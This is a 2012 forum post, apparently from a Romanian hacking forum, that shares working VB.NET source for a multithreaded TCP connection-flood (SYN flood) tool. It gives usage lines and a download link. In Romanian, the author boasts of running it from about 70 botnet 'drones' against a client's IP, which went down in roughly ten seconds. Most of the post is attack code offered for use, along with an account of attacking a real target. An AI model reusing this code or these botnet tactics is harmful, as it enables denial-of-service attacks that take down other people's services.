VB.NET synflood

[Maximus]

Imports System.Net
Imports System.Net.Sockets
Imports System.Threading

Friend Class SynFlood
    Private Shared FloodingJob As ThreadStart()
    Private Shared FloodingThread As Thread()
    Public Shared Host As String
    Private Shared ipEo As IPEndPoint
    Public Shared Port As Integer
    Private Shared SynClass As SendSyn()
    Public Shared SynSockets As Integer
    Public Shared Threads As Integer

    Public Shared Sub StartSynFlood()
        Try
            ipEo = New IPEndPoint(Dns.GetHostEntry(Host).AddressList(0), Port)
        Catch
            ipEo = New IPEndPoint(IPAddress.Parse(Host), Port)
        End Try
        FloodingThread = New Thread(Threads - 1) {}
        FloodingJob = New ThreadStart(Threads - 1) {}
        SynClass = New SendSyn(Threads - 1) {}
        For i As Integer = 0 To Threads - 1
            SynClass(i) = New SendSyn(ipEo, SynSockets)
            FloodingJob(i) = New ThreadStart(AddressOf SynClass(i).Send)
            FloodingThread(i) = New Thread(FloodingJob(i))
            FloodingThread(i).Start()
        Next
    End Sub

    Public Shared Sub StopSynFlood()
        For i As Integer = 0 To Threads - 1
            Try
                FloodingThread(i).Suspend()
            Catch
            End Try
        Next
    End Sub

    Private Class SendSyn
        Private ipEo As IPEndPoint
        Private Sock As Socket()
        Private SynSockets As Integer

        Public Sub New(ByVal ipEo As IPEndPoint, ByVal SynSockets As Integer)
            Me.ipEo = ipEo
            Me.SynSockets = SynSockets
        End Sub

        Public Sub OnConnect(ByVal ar As IAsyncResult)
        End Sub

        Public Sub Send()
            Dim num As Integer
Label_0000:
            Try
                Me.Sock = New Socket(Me.SynSockets - 1) {}
                For num = 0 To Me.SynSockets - 1
                    Me.Sock(num) = New Socket(Me.ipEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp)
                    Me.Sock(num).Blocking = False
                    Dim callback As New AsyncCallback(AddressOf Me.OnConnect)
                    Me.Sock(num).BeginConnect(Me.ipEo, callback, Me.Sock(num))
                Next
                Thread.Sleep(100)
                For num = 0 To Me.SynSockets - 1
                    If Me.Sock(num).Connected Then
                        Me.Sock(num).Disconnect(False)
                    End If
                    Me.Sock(num).Close()
                    Me.Sock(num) = Nothing
                Next
                Me.Sock = Nothing
                GoTo Label_0000
            Catch
                For num = 0 To Me.SynSockets - 1
                    Try
                        If Me.Sock(num).Connected Then
                            Me.Sock(num).Disconnect(False)
                        End If
                        Me.Sock(num).Close()
                        Me.Sock(num) = Nothing
                    Catch
                    End Try
                Next
                GoTo Label_0000
            End Try
        End Sub
    End Class
End Class

Codul merge 100% dar ai nevoie de un numar mai marisor de sclavi. Eu am vreo 70 de drone (drona mirc facuta in vb.net),am pus ip`ul unui client si a picat cam in 10 secunde in timeout

            SynFlood.Host = ip-ul
            SynFlood.Port = port-ul
            SynFlood.Threads = numar threads
            SynFlood.SynSockets = numar sockets
            SynFlood.StartSynFlood()

pentru stop

            SynFlood.StopSynFlood()

Download : http://www.sendspace.com/file/vaqovh

Edited October 10, 2012 by Maximus